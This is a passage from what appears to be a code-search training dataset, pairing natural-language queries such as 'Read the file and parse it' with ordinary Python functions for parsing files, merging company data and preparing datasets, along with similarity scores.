= urlparse(companyfc.website)\\n if analyzed_url.netloc and analyzed_url.scheme:\\n website_url = \\\"%s://%s\\\" % (\\n analyzed_url.scheme,\\n analyzed_url.netloc\\n )\\n elif analyzed_url.netloc and not analyzed_url.scheme:\\n website_url = analyzed_url.netloc\\n else:\\n website_url = analyzed_url.path\\n output_data['website_url'] = website_url\\n\\n try:\\n output_data['size']\\n except KeyError:\\n if companyfc.size and company_size_mapping_dict.get(companyfc.size):\\n output_data['size'] = company_size_mapping_dict.get(companyfc.size)\\n\\n try:\\n output_data['last_updated']\\n except KeyError:\\n if companyfc.updated_on:\\n output_data['last_updated'] = companyfc.updated_on\\n\\n # try to add linkedin profile from db2 (not present in db1).\\n # Needs to use a JOIN\\n try:\\n companysocialprofilefc = CompanySocialProfileFromdb2.objects.using(\\n 'db2'\\n ).filter(\\n company__domain=domain\\n )[0]\\n output_data['linkedin_url'] = companysocialprofilefc.url\\n except IndexError:\\n pass\\n\\n return output_data\",\n \"def __init__(self, data_info, conditions):\\n self.data_labels, self.film_count, self.plank_count = data_info\\n self.tot_conditions, self.plated_volume = conditions\\n\\n self.film_conc, self.plank_conc = [], []\\n self.organized_names, self.organized_film, self.organized_plank = [], [], []\",\n \"def _prepare(self):\",\n \"def _prepare(self):\",\n \"def test_companies_company_id_data_journal_entries_get(self):\\n pass\",\n \"def prepare(self):\\n if self.opts['verbose']:\\n print(\\\"Preparing dataset (one-time operation)...\\\")\\n # Create paths files and load them back in\\n self._build_ID_sets()\\n self._create_ID_files()\\n self._load_ID_files()\\n if self.opts['verbose']:\\n print(\\\"... done with preparing the dataset.\\\")\",\n \"def save_company_names(self,reload = False):\\n #this is a security measure such that the companies can not be reloaded by fault.\\n if not reload:\\n return\\n\\n # Get the html of the Wikipedia site to extract the table\\n website_url = requests.get(\\\"https://en.wikipedia.org/w/index.php?title=List_of_S%26P_500_companies&oldid=895655255\\\").text\\n html_site = BeautifulSoup(website_url, 'lxml')\\n\\n # Extract the table\\n SP_Table = html_site.find('table',{'class':'wikitable sortable'})\\n \\n # Extract the rows of the table\\n rows = SP_Table.findAll('tr')\\n \\n # Extract for each row in rows the second value as this is the wanted symbol\\n df = pd.DataFrame(columns=['Symbol', 'FullName', 'CSVName', 'Sector'])\\n for row in rows[1:]:\\n # Extract the company names\\n companyFullName = row.findAll('td')[1].text\\n # Extract the company csv names\\n companyCSVName = companyFullName.replace('*', ' ')\\n # Extract the company symbols\\n companySymbol = row.findAll('td')[0].text\\n companySymbol = ''.join(companySymbol.split())\\n sector = row.findAll('td')[3].text\\n df1 = pd.DataFrame([[companySymbol, companyFullName, companyCSVName, sector]], columns=df.columns)\\n df = df.append(df1, ignore_index=True)\\n \\n df['Sector'] = df['Sector'].apply(lambda x: x.replace('\\\\n', ''))\\n df.to_csv(self.PATH_TO_COMPANY_FILES + '/Companies.csv', index=False)\\n\\n return\",\n \"def _prepare_data(\\n self,\\n request_data: Optional[Dict[str, Any]] = None,\\n ) -> Dict[str, Any]:\\n if request_data is None:\\n request_data = {}\\n request_data['page.rows'] = self._rows_in_page\\n if self._current_row:\\n request_data['page.number'] = \\\\\\n self._current_row // self._rows_in_page + 1\\n else:\\n # Page number starts from 0\\n page_number = self._min_row // self._rows_in_page\\n # But for request page number starts from 1\\n request_data['page.number'] = page_number + 1\\n self._current_row = self._rows_in_page * page_number\\n return request_data\",\n \"def create(self, validated_data):\\n admins = Group.objects.create(\\n name=validated_data['name'] + ' Admins')\\n accountants = Group.objects.create(\\n name=validated_data['name'] + ' Accountants')\\n validated_data['accountants'] = accountants\\n validated_data['admins'] = admins\\n company = super(CompanySerializer, self).create(validated_data)\\n company.save()\\n return company\",\n \"def csvfileUsage(self):\\n with open(self.csv_path, \\\"rb+\\\") as file_obj:\\n reader = csv.DictReader(file_obj, delimiter=',') # CSV DictReader object\\n \\\"\\\"\\\" reader.fieldnames returns header , slicing intial 'Month' and\\n 'Year' header from list\\n \\\"\\\"\\\"\\n for com_names in reader.fieldnames[2:]:\\n self.company_data[com_names] = {}\\n # iterating each row\\n for row in reader:\\n month, year = self.parse_my(row) # parsing the year and month from row\\n # pop the `Month` and `Year` Key to minimize iteration below\\n row.pop('Month'), row.pop('Year')\\n \\\"\\\"\\\" saving and updating the data at same point of time\\n each iteration time, checking the max value and updating \\n `Month` `Year` and `Value`\\n \\\"\\\"\\\"\\n self.prepare_company_data(month, year, row, self.company_data)\\n file_obj.close() # close file\\n return self.company_data\",\n \"def load_data(data):\\n\\n # Agencies\\n name = data['name']\\n slug = Agency.slug_for(name)\\n\\n a, created = Agency.objects.get_or_create(slug=slug, name=name)\\n\\n a.abbreviation = data['abbreviation']\\n a.description = data.get('description')\\n a.keywords = data.get('keywords')\\n a.common_requests = data.get('common_requests', [])\\n a.no_records_about = data.get('no_records_about', [])\\n\\n # Only has a single, main branch/office\\n if len(data['departments']) == 1:\\n dept_rec = data['departments'][0]\\n contactable_fields(a, dept_rec)\\n\\n a.save()\\n add_request_time_statistics(data, a)\\n\\n # Offices\\n if len(data['departments']) > 1:\\n for dept_rec in data['departments']:\\n if dept_rec.get('top_level'):\\n # This is actually an agency\\n sub_agency_name = dept_rec['name']\\n sub_agency_slug = Agency.slug_for(sub_agency_name)\\n\\n sub_agency, created = Agency.objects.get_or_create(\\n slug=sub_agency_slug, name=sub_agency_name)\\n sub_agency.parent = a\\n\\n abbreviation = build_abbreviation(sub_agency_name)\\n sub_agency.abbreviation = abbreviation\\n sub_agency.description = dept_rec.get('description')\\n sub_agency.keywords = dept_rec.get('keywords')\\n sub_agency.common_requests = dept_rec.get(\\n 'common_requests', [])\\n sub_agency.no_records_about = dept_rec.get(\\n 'no_records_about', [])\\n contactable_fields(sub_agency, dept_rec)\\n sub_agency.save()\\n add_request_time_statistics(dept_rec, sub_agency)\\n else:\\n # Just an office\\n office_name = dept_rec['name']\\n office_slug = Office.slug_for(office_name)\\n full_slug = slug + '--' + office_slug\\n\\n o, created = Office.objects.get_or_create(\\n agency=a, slug=full_slug)\\n\\n o.office_slug = office_slug\\n o.name = office_name\\n contactable_fields(o, dept_rec)\\n o.save()\\n add_request_time_statistics(dept_rec, a, o)\",\n \"def init_data(self):\\n fields = SeriesRepository.get_available_series().exclude(identifier=None)\\n\\n if self.catalog:\\n try:\\n catalog = Catalog.objects.get(identifier=self.catalog)\\n except Catalog.DoesNotExist:\\n return\\n\\n fields = fields.filter(\\n distribution__dataset__catalog=catalog\\n )\\n\\n fields = fields.prefetch_related(\\n 'distribution',\\n 'distribution__dataset',\\n 'distribution__dataset__catalog',\\n 'enhanced_meta',\\n )\\n all_meta = Metadata.objects.all()\\n field_ct = ContentType.objects.get_for_model(Field)\\n for field in fields:\\n meta = json.loads(field.metadata)\\n dist_meta = json.loads(field.distribution.metadata)\\n dataset_meta = json.loads(field.distribution.dataset.metadata)\\n themes = field.distribution.dataset.themes\\n theme_labels = get_theme_labels(json.loads(themes)) if themes else ''\\n\\n self.fields[field.identifier] = {\\n 'dataset': field.distribution.dataset,\\n 'distribution': field.distribution,\\n 'serie': field,\\n 'serie_titulo': field.title,\\n 'serie_unidades': meta.get('units'),\\n 'serie_descripcion': meta.get('description'),\\n 'distribucion_titulo': dist_meta.get('title'),\\n 'distribucion_descripcion': dist_meta.get('description'),\\n 'distribucion_url_descarga': field.distribution.download_url,\\n 'dataset_responsable': dataset_meta.get('publisher', {}).get('name'),\\n 'dataset_fuente': dataset_meta.get('source'),\\n 'dataset_titulo': field.distribution.dataset.title,\\n 'dataset_descripcion': dataset_meta.get('description'),\\n 'dataset_tema': theme_labels,\\n 'metadata': {o.key: o.value for o in list(all_meta.filter(content_type=field_ct, object_id=field.id))},\\n 'frequency': self.serie_periodicity(field),\\n }\",\n \"def prepare_train_data(self):\\r\\n ## Impute rlkpis\\r\\n print(\\\"Imputing rlKPI df\\\")\\r\\n self.rlkpi.add_target_labels(1)\\r\\n self.rlkpi.impute_rl_kpis()\\r\\n\\r\\n print(\\\"Add 'met-real-station_no' & met-forecast-station_no to rl_kpis_df\\\")\\r\\n self.add_met_real_forecast_station_col_to_rlkpis()\\r\\n print(\\\"Merge 'met-real-sampled df to rl kps \\\")\\r\\n self.merge_met_real_sampled_df_to_rlkpis()\\r\\n\\r\\n ## Imputations for met-forecast\\r\\n print(\\\"Impute met-forecast\\\")\\r\\n met_forecast_obj = self.metfcast\\r\\n met_forecast_obj.impute_met_forecast()\\r\\n\\r\\n #Merge met forecast data to earlier merged data\\r\\n print(\\\"Merge Train data with imputed forecast df\\\")\\r\\n self.train_data = pd.merge(self.train_data,\\r\\n met_forecast_obj.imputed_forecast_df,\\r\\n on=['datetime-station_no'], indicator=True, how='inner')\\r\\n print(\\\"Check any imputation needed\\\", self.train_data.isna().sum().sum())\\r\\n self.train_data.drop(['_merge'], axis=1, inplace=True)\\r\\n self.perform_data_under_sampling(self.train_data)\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.6938614","0.67131525","0.67055386","0.6524873","0.63706404","0.6255161","0.6225849","0.6220218","0.62027955","0.6075558","0.5998771","0.5954136","0.59276706","0.5911707","0.5911581","0.5889178","0.5853898","0.58073986","0.5801998","0.5798251","0.57885075","0.5787987","0.574923","0.5744494","0.5724451","0.5703551","0.57026386","0.5687978","0.5684356","0.56805325","0.5676993","0.5637126","0.5572745","0.55714136","0.55621946","0.5554386","0.55535173","0.5524903","0.5524903","0.5517222","0.5514353","0.55082613","0.5502316","0.54999596","0.5481802","0.5475626","0.54680765","0.54618585","0.5424776","0.54052097","0.5394306","0.5392034","0.53901505","0.53880024","0.53786767","0.5375998","0.53592324","0.5355213","0.5351331","0.53488","0.5340061","0.5333498","0.5333498","0.5333498","0.5330635","0.5325618","0.5325575","0.53152555","0.5278831","0.5269038","0.5260326","0.52587825","0.5252856","0.5239585","0.5235112","0.523161","0.52274126","0.52200043","0.5216615","0.5215084","0.52141994","0.52096105","0.52062106","0.51999897","0.51992923","0.5195152","0.5190351","0.517072","0.51659876","0.5164467","0.5164467","0.51544356","0.514832","0.51470137","0.51455134","0.5115125","0.5113783","0.51119053","0.51073676","0.5106003"],"string":"[\n \"0.6938614\",\n \"0.67131525\",\n \"0.67055386\",\n \"0.6524873\",\n \"0.63706404\",\n \"0.6255161\",\n \"0.6225849\",\n \"0.6220218\",\n \"0.62027955\",\n \"0.6075558\",\n \"0.5998771\",\n \"0.5954136\",\n \"0.59276706\",\n \"0.5911707\",\n \"0.5911581\",\n \"0.5889178\",\n \"0.5853898\",\n \"0.58073986\",\n \"0.5801998\",\n \"0.5798251\",\n \"0.57885075\",\n \"0.5787987\",\n \"0.574923\",\n \"0.5744494\",\n \"0.5724451\",\n \"0.5703551\",\n \"0.57026386\",\n \"0.5687978\",\n \"0.5684356\",\n \"0.56805325\",\n \"0.5676993\",\n \"0.5637126\",\n \"0.5572745\",\n \"0.55714136\",\n \"0.55621946\",\n \"0.5554386\",\n \"0.55535173\",\n \"0.5524903\",\n \"0.5524903\",\n \"0.5517222\",\n \"0.5514353\",\n \"0.55082613\",\n \"0.5502316\",\n \"0.54999596\",\n \"0.5481802\",\n \"0.5475626\",\n \"0.54680765\",\n \"0.54618585\",\n \"0.5424776\",\n \"0.54052097\",\n \"0.5394306\",\n \"0.5392034\",\n \"0.53901505\",\n \"0.53880024\",\n \"0.53786767\",\n \"0.5375998\",\n \"0.53592324\",\n \"0.5355213\",\n \"0.5351331\",\n \"0.53488\",\n \"0.5340061\",\n \"0.5333498\",\n \"0.5333498\",\n \"0.5333498\",\n \"0.5330635\",\n \"0.5325618\",\n \"0.5325575\",\n \"0.53152555\",\n \"0.5278831\",\n \"0.5269038\",\n \"0.5260326\",\n \"0.52587825\",\n \"0.5252856\",\n \"0.5239585\",\n \"0.5235112\",\n \"0.523161\",\n \"0.52274126\",\n \"0.52200043\",\n \"0.5216615\",\n \"0.5215084\",\n \"0.52141994\",\n \"0.52096105\",\n \"0.52062106\",\n \"0.51999897\",\n \"0.51992923\",\n \"0.5195152\",\n \"0.5190351\",\n \"0.517072\",\n \"0.51659876\",\n \"0.5164467\",\n \"0.5164467\",\n \"0.51544356\",\n \"0.514832\",\n \"0.51470137\",\n \"0.51455134\",\n \"0.5115125\",\n \"0.5113783\",\n \"0.51119053\",\n \"0.51073676\",\n \"0.5106003\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.71914417"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":14474,"cells":{"query":{"kind":"string","value":"Read the file and parse it"},"document":{"kind":"string","value":"def csvfileUsage(self):\n with open(self.csv_path, \"rb+\") as file_obj:\n reader = csv.DictReader(file_obj, delimiter=',') # CSV DictReader object\n \"\"\" reader.fieldnames returns header , slicing intial 'Month' and\n 'Year' header from list\n \"\"\"\n for com_names in reader.fieldnames[2:]:\n self.company_data[com_names] = {}\n # iterating each row\n for row in reader:\n month, year = self.parse_my(row) # parsing the year and month from row\n # pop the `Month` and `Year` Key to minimize iteration below\n row.pop('Month'), row.pop('Year')\n \"\"\" saving and updating the data at same point of time\n each iteration time, checking the max value and updating \n `Month` `Year` and `Value`\n \"\"\"\n self.prepare_company_data(month, year, row, self.company_data)\n file_obj.close() # close file\n return self.company_data"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def parse_file(self, file):\n return self.parse(file.read())","def parse(self, filename):\n infile = file(filename)\n for line in infile:\n self.parseLine(line)","def parse(self, infile):\r\n raise NotImplementedError()","def _parse(self, infile):\n raise NotImplementedError()","def read_from_file(self, filename: str) -> None:","def read_file(self):\n try:\n with open(self.file_name, 'r') as ach_file:\n file_contents = ach_file.read().replace('\\n', '').replace('\\r', '')\n\n self._parse_ach_file(file_contents)\n except FileNotFoundError as err:\n print(\"File does not exist -> \" + str(err))","def read(self, f):\n return self.parse(f.read())","def _parse_file(cls, filepath):\n hdus = sunpy.io.read_file(filepath)\n return cls._parse_hdus(hdus)","def read(self, filename):\n pass","def read(self, filename):\n pass","def parse(self, f):\n \n for line in f:\n self.parse_line(line)","def read(self, filename):\n with RavenFileReader(filename) as f:\n line = f.nexttag()\n while line:\n # Begin data type checks\n if self.cleantag(line) == 'Gauge':\n self.read_metgauge(line, f)\n elif self.cleantag(line) == 'ObservationData':\n self.read_obsgauge(line, f)\n # Next line\n line = f.nexttag()","def read(self, filename):\n with RavenFileReader(filename) as f:\n line = f.nexttag()\n while line:\n # Begin data type checks\n if self.cleantag(line) == 'SubBasins':\n self.read_subbasins(f)\n elif self.cleantag(line) == 'HRUs':\n self.read_HRUs(f)\n # Next line\n line = f.nexttag()","def parse_from_path(self, infile_path):\r\n with open(infile_path, 'r') as infile:\r\n return self.parse(infile)","def main():\n parse_file(sys.argv[1])","def parseFile(self, filename):\n self.__filename = filename\n\n if os.path.isfile(filename) == False:\n self.LogError(\"Unable to open input file \" + str(filename))\n raise IOError\n\n self.__file = open(filename, 'r')\n\n while True:\n string = self.__file.readline()\n if string == \"\":\n break\n\n if string.upper().find(\"[SYSTEM]\") != -1:\n #print string.upper()\n self.__parseSystem()\n\n if string.upper().find(\"[GRASS]\") != -1:\n #print string.upper()\n self.__parseGrass()\n\n if string.upper().find(\"[COMPLEXDATA]\") != -1:\n #print string.upper()\n self.complexDataList.append(ComplexData(self.__file))\n\n if string.upper().find(\"[COMPLEXOUTPUT]\") != -1:\n #print string.upper()\n self.complexOutputList.append(ComplexOutput(self.__file))\n\n if string.upper().find(\"[LITERALDATA]\") != -1:\n #print string.upper()\n LD = LiteralData(self.__file)\n if LD.identifier == 'multi_output':\n self.LogWarning(\"multi_output: \" + LD.value.upper())\n if LD.value.upper() == 'TRUE':\n self.multiOutput = True\n else:\n self.literalDataList.append(LD)","def parse_file(self, file_name: str):\n if not os.path.exists(file_name):\n log.error('File {} does not exist'.format(file_name))\n return None\n try:\n with open(file_name) as file:\n file_content = file.readlines()\n except Exception as ex:\n log.error('Failed to read file {}: {}'.format(file_name, str(ex)))\n return None\n return self.parse_from_string(''.join(file_content))","def parse(self):\r\n # open the file\r\n # try to find the first line with Time =\r\n # send the file to a recursive residualParser\r\n try:\r\n with open(self.filepath, 'rb') as f:\r\n for line in f:\r\n if line.startswith('Time ='):\r\n self.timestep = self.__getTime(line)\r\n self.__residuals[self.timestep] = {}\r\n self.__parseResiduals(f)\r\n except Exception as e:\r\n raise 'Failed to parse {}:\\n\\t{}'.format(self.filepath, e)","def parseFile(self, filename):\n\n f = open(filename, \"r\")\n s = f.read()\n f.close()\n\n logging.log(10, 'parsing filename %s: %d lines' % (filename, len(s)))\n\n self.parseString(s)","def parse(self, filename):\n try:\n if 't' in self.FILE_OPEN_MODE:\n kw = {'encoding': self.FILE_ENCODING, 'errors': 'ignore'}\n else:\n kw = {}\n with open(filename, self.FILE_OPEN_MODE, **kw) as infile:\n self._parse(infile)\n except IOError:\n raise FileFormatError()","def parse_file(self):\n with open(self.file_name, 'r', errors='ignore') as log_file:\n for line in log_file:\n self.process_line(line)","def parse_data(fp):\n pass","def parse_file():\n\tfile_lines = []\n\n\t## For each line in the file, if it's not empty, store it\n\tfor line in fileinput.input():\n\t\tif len(line) > 1:\n\t\t\tfile_lines.append(line.strip())\n\t\n\trun_algorithms(file_lines)","def parse_file(self, source):\n # If this is a file-like object, we should be able to read it.\n try:\n raw_data = source.read()\n except AttributeError:\n # This raises FileNotFoundError if the file doesn't exist.\n with open(source) as source_obj:\n raw_data = source_obj.read()\n\n # Parse the data in string format.\n return self.parse_string(raw_data)","def read (self, path):\n\n\t\tself.data = []\n\t\t# print \"*** path: %s***\" % path\n\t\tdir, filename = os.path.split (path)\n\t\troot, ext = os.path.splitext (filename)\n\t\t# encoding = 'ISO-8859-1' # utf-8\n\t\ts = codecs.open(path,'r', self.encoding).read()\n\t\t## s = unicode(f.read(),'utf-8')\n\t\ts = self.preprocess (s)\n\t\tlines = split (s, self.linesep)\n\t\tschema = self.splitline(lines[0])\n\n\t\t## print \"** %s **\" % os.path.splitext(filename)[0]\n\t\tif self.verbose:\n\t\t\tprint \"read %d lines from %s\" % (len(lines), path)\n\n\t\tfor i in range(1,len(lines)):\n\t\t\tif not lines[i].strip(): \n\t\t\t\t# print 'skipping line (%d)' % i\n\t\t\t\tcontinue\n\t\t\tfields = self.splitline(lines[i])\n\t\t\titem = self.entry_class (fields, schema)\n\t\t\tif self.accept (item):\n\t\t\t\tself.add (item)\n\n\t\tself.schema = schema\n\t\t# self.data.sort (lastNameCmp)","def _parse_ach_file(self, contents):\n file_length = len(contents)\n\n for index in range(0, file_length, self.LINE_LENGTH):\n line = contents[index:index + self.LINE_LENGTH]\n\n if line.startswith('1'):\n self._read_header(line)\n elif line.startswith('5'):\n self._read_batch_header(line)\n elif line.startswith('6'):\n self._read_entry_detail(line)\n elif line.startswith('7'):\n self._read_addenda_record(line)\n elif line.startswith('8'):\n self._read_batch_control_record(line)\n elif line.startswith('9'):\n if line == '9' * 94:\n continue\n self._read_file_control_record(line)","def parse_file(file_path, encoding='utf-8', print_errors=False):\n with open(file_path, 'r', encoding=encoding) as f:\n return parse(\n f.read(),\n file_name=os.path.basename(file_path),\n print_errors=print_errors\n )","def parse_file(self, path, filename, return_dict=True):\n\n with codecs.open(path, \"r\", encoding=\"iso-8859-1\") as f:\n lines = f.readlines()\n cleaned = self.clean_data(lines)\n if return_dict:\n data = self.create_dict(cleaned)\n else:\n data = self.create_list(cleaned)\n return self.process_file(data, filename)","def parseFile(filename):\n\n Parse.data = []\n with open(filename, \"r\") as f:\n for line in f:\n Parse.data += [Parse.__parseLine(line)]\n return Parse.data","def parse_file(\n self, filename: Path, encoding: Optional[str] = None, debug: bool = False\n ) -> NL:\n with open(filename, encoding=encoding) as stream:\n return self.parse_stream(stream, debug)","def _read(self, in_file):\n in_file.read(18) # pad bytes\n self.numnod = int(in_file.read(12))\n in_file.read(37) # pad bytes\n self.format = int(in_file.read(1))\n in_file.read(1) # eol\n self.nodes = []\n\n for _ in range(self.numnod):\n node = FRDNode()\n self.nodes.append(node)\n if self.format < 2:\n in_file.read(1)\n node.key = int(in_file.read(2))\n node.number = int(in_file.read(5*(self.format+1)))\n node.pos = [float(in_file.read(12)) for j in range(3)]\n in_file.read(1) # eol\n else:\n node.number = struct.unpack('i', in_file.read(4))[0]\n if self.format == 2:\n node.pos = struct.unpack('fff', in_file.read(12))\n else:\n node.pos = struct.unpack('ddd', in_file.read(24))\n\n if self.format < 2:\n in_file.readline() # last record for ascii only","def parse_file(self, path):\r\n return self._parse(antlr3.ANTLRFileStream(path))","def read(self, filename):\n raise NotImplementedError","def read(self, inputfile):\n infile = open(inputfile, 'r')\n if (inputfile.lower().endswith('.po')):\n self.read_po(infile)\n elif (inputfile.lower().endswith('.json')):\n self.read_json(infile)\n elif (inputfile.lower().endswith('.xml')):\n self.read_properties(infile)\n infile.close()","def _parseFileHeader(self):\n self.fileheader = FileHeader()\n self.fileheader.parse(self.f)\n #print('Parsed fileheader')","def parseFile(self, file):\n return_dict = {}\n with open(file) as f:\n for line in f:\n line = line.strip()\n\n if line:\n if line.startswith('Left'):\n return_dict['Left'] = self.getStats(f)\n elif line.startswith('Right'):\n return_dict['Right'] = self.getStats(f)\n elif line.startswith('Aligned'):\n return_dict['Aligned'] = self.getStats(f, line)\n elif line.startswith('Reads'):\n return_dict['Reads'] = self.getStats(f)\n else:\n matched_summary = re.search('([\\d|.%]+)', line)\n return_dict['Overall'] = matched_summary.group(1)\n\n #return_dict['Summary'] = re.search('(\\d+\\.\\d+%)', line).group(1)\n\n return return_dict","def _runParser(self):\n with open(self.var('filePath')) as f:\n return json.load(f)","def read (self, file):\n\t\tself.unpack (file.read (self.size()))","def parse(self, filehandle):\n l = filehandle.readline()\n if l.split()[0] != '##maf':\n return\n else:\n self.setpar(l.split()[1:])\n\n l=filehandle.readline()\n while l:\n la = l.split()\n## print la\n if(len(la)==0 or la[0]=='#'):\n## print \"skipping\"\n 1\n elif(la[0]=='a'):\n## print \"reading alignment\"\n self.readalign(la[1:], filehandle)\n else:\n## print \"end of records\"\n return\n\n l=filehandle.readline()","def __parse_file(self):\n\n if PY2:\n text = lambda v: v.decode('utf-8')\n else:\n text = lambda v: v\n with open(self._file, 'r') as csvfile:\n reader = csv.reader(csvfile, delimiter=';')\n for row in reader:\n try:\n siruta = int(row[0])\n except ValueError:\n self.__notify_error(\"Line %s has an invalid SIRUTA code\" % str(row))\n continue\n if not self.siruta_is_valid(siruta):\n self.__notify_error(\"SIRUTA code %d is not valid\" % siruta)\n if len(row) != 15:\n self.__notify_error(\"Line %s does not have 15 elements\" % str(row))\n continue\n if row[7] == \"1\":\n urban = True\n else:\n urban = False\n self._data[siruta] = {\n 'siruta': siruta,\n 'name': text(row[1]).translate(self._dia_trans),\n 'postcode': int(row[2]),\n 'county': int(row[3]),\n 'sirutasup': int(row[4]),\n 'type': int(row[5]),\n 'level': text(row[6]),\n 'urban': urban,\n 'region': int(row[8]),\n }","def read_file(self, filename):\n with open(filename, 'r') as file:\n for line in file:\n l = line.strip()\n\n if l == ST_POS0:\n self._state = ST_POS0\n elif l == ST_TRNS:\n self._state = ST_TRNS\n elif l == ST_POS1:\n self._state = ST_POS1\n else:\n self._parse_line(l)\n self._state = None","def parse_file(self, file_name, **kwargs):\n with io.open(file_name, 'r', encoding='utf-8') as f:\n content = f.read()\n return self.parse(content, file_name=file_name, **kwargs)","def ParseFile(self, filepath):\n self.Logger.debug(\"Parsing file: %s\" % filepath)\n if (not os.path.isabs(filepath)):\n fp = self.FindPath(filepath)\n else:\n fp = filepath\n self.Path = fp\n f = open(fp, \"r\")\n self.Lines = f.readlines()\n f.close()\n InDefinesSection = False\n InPackagesSection = False\n InLibraryClassSection = False\n InProtocolsSection = False\n InGuidsSection = False\n InPpiSection = False\n InPcdSection = False\n InSourcesSection = False\n InBinariesSection = False\n\n for line in self.Lines:\n sline = self.StripComment(line)\n\n if (sline is None or len(sline) < 1):\n continue\n\n if InDefinesSection:\n if sline.strip()[0] == '[':\n InDefinesSection = False\n else:\n if sline.count(\"=\") == 1:\n tokens = sline.split('=', 1)\n self.Dict[tokens[0].strip()] = tokens[1].strip()\n #\n # Parse Library class and phases in special manor\n #\n if (tokens[0].strip().lower() == \"library_class\"):\n self.LibraryClass = tokens[1].partition(\"|\")[0].strip()\n self.Logger.debug(\"Library class found\")\n if (len(tokens[1].partition(\"|\")[2].strip()) < 1):\n self.SupportedPhases = AllPhases\n elif (tokens[1].partition(\"|\")[2].strip().lower() == \"base\"):\n self.SupportedPhases = AllPhases\n else:\n self.SupportedPhases = tokens[1].partition(\"|\")[2].strip().split()\n\n self.Logger.debug(\"Key,values found: %s = %s\" % (tokens[0].strip(), tokens[1].strip()))\n\n continue\n\n elif InPackagesSection:\n if sline.strip()[0] == '[':\n InPackagesSection = False\n else:\n self.PackagesUsed.append(sline.partition(\"|\")[0].strip())\n continue\n\n elif InLibraryClassSection:\n if sline.strip()[0] == '[':\n InLibraryClassSection = False\n else:\n self.LibrariesUsed.append(sline.partition(\"|\")[0].strip())\n continue\n\n elif InProtocolsSection:\n if sline.strip()[0] == '[':\n InProtocolsSection = False\n else:\n self.ProtocolsUsed.append(sline.partition(\"|\")[0].strip())\n continue\n\n elif InGuidsSection:\n if sline.strip()[0] == '[':\n InGuidsSection = False\n else:\n self.GuidsUsed.append(sline.partition(\"|\")[0].strip())\n continue\n\n elif InPcdSection:\n if sline.strip()[0] == '[':\n InPcdSection = False\n else:\n self.PcdsUsed.append(sline.partition(\"|\")[0].strip())\n continue\n\n elif InPpiSection:\n if sline.strip()[0] == '[':\n InPpiSection = False\n else:\n self.PpisUsed.append(sline.partition(\"|\")[0].strip())\n continue\n\n elif InSourcesSection:\n if sline.strip()[0] == '[':\n InSourcesSection = False\n else:\n self.Sources.append(sline.partition(\"|\")[0].strip())\n continue\n\n elif InBinariesSection:\n if sline.strip()[0] == '[':\n InBinariesSection = False\n else:\n self.Binaries.append(sline.partition(\"|\")[0].strip())\n continue\n\n # check for different sections\n if sline.strip().lower().startswith('[defines'):\n InDefinesSection = True\n\n elif sline.strip().lower().startswith('[packages'):\n InPackagesSection = True\n\n elif sline.strip().lower().startswith('[libraryclasses'):\n InLibraryClassSection = True\n\n elif sline.strip().lower().startswith('[protocols'):\n InProtocolsSection = True\n\n elif sline.strip().lower().startswith('[ppis'):\n InPpiSection = True\n\n elif sline.strip().lower().startswith('[guids'):\n InGuidsSection = True\n\n elif sline.strip().lower().startswith('[pcd') or \\\n sline.strip().lower().startswith('[patchpcd') or \\\n sline.strip().lower().startswith('[fixedpcd') or \\\n sline.strip().lower().startswith('[featurepcd'):\n InPcdSection = True\n\n elif sline.strip().lower().startswith('[sources'):\n InSourcesSection = True\n\n elif sline.strip().lower().startswith('[binaries'):\n InBinariesSection = True\n\n # Create scoped_library_dict\n current_section = \"\"\n arch = \"\"\n\n for line in self.Lines:\n match = self.SECTION_REGEX.match(line)\n\n if line.strip() == \"\":\n continue\n\n if line.strip().startswith(\"#\"):\n continue\n\n # Match the current section we are in\n if match:\n section = match.group(1)\n section = section.lower()\n\n # A Library section\n if section.startswith(self.SECTION_LIBRARY):\n if section.count(\".\") == 1:\n current_section, arch = tuple(section.split(\".\"))\n else:\n current_section, arch = (section, \"common\")\n # Some other section\n else:\n current_section = \"\"\n arch = \"\"\n continue\n\n # Handle lines when we are in a library section\n if current_section == self.SECTION_LIBRARY:\n if arch in self.ScopedLibraryDict:\n self.ScopedLibraryDict[arch].append(line.split()[0].strip())\n else:\n self.ScopedLibraryDict[arch] = [line.split()[0].strip()]\n self.Parsed = True","def fileparse(filename, node):\n\n fd = open(filename)\n line = fd.readline().strip('\\r\\n')\n\n while line != '':\n node.Add(line, node)\n line = fd.readline().strip('\\r\\n')","def read_parse_raw_data(path):\n file_list = TopologyHelper.get_file_list(path)\n print(\"Reading \" + str(len(file_list)) + \" files from \" + path)\n topology_info = []\n file_name = []\n for file in file_list:\n try:\n r = TopologyHelper.parse_file(file)\n tmp = (r[0])['Topology']\n topology_info.append(tmp)\n t = r[1]\n file_name.append(t)\n except:\n continue\n print(\"Parsing completed\")\n return file_name, topology_info","def read(path):","def parse(self):\n try:\n self.open_file()\n lines = list(self._file)\n\n if len(lines) > 0:\n text = ''.join(lines)\n regex = 'Song \\d+\\nStart (\\d+:\\d+:\\d+)\\nEnd (\\d+:\\d+:\\d+)\\nLength (\\d+.\\d+)'\n match = re.findall(regex, text)\n if len(match):\n starts = []\n ends = []\n lengths = []\n\n for i in range(len(match)):\n starts.append(match[i][0])\n ends.append(match[i][1])\n lengths.append(float(match[i][2]))\n\n for i in range(len(match)):\n self.debug_data.append({\n 'start':starts[i],'end':ends[i],'length':lengths[i]})\n\n match = re.search('T\\d_S(\\d{4})_.*.txt', self._filepath)\n if match:\n self._experiment_metadata['session_id'] = int(match.groups()[0])\n else:\n raise EIMParsingError(\"No valid session id found in filename %s\" % self._filepath)\n\n finally:\n if self._file and not self._file.closed:\n self.close_file()","def parse_file(self, file_name, **kwargs):\n with codecs.open(file_name, 'r', 'utf-8') as f:\n content = f.read()\n return self.parse(content, file_name=file_name, **kwargs)","def parse_file(self, file):\n with file:\n return self.parse_string(read_script_file(file))","def _read_input_file(self):\n pass","def readFile(file):\n with open(file) as inFile:\n return(csv_parser(inFile))","def parse_file(self, file_or_filename, parse_all=False):\n try:\n file_contents = file_or_filename.read()\n except AttributeError:\n with open(file_or_filename, \"r\") as f:\n file_contents = f.read()\n return self.parse_string(file_contents, parse_all)","def _read(self, file_path: str) -> Iterator[Instance]:\n with open(file_path) as f:\n for line in f:\n pairs = 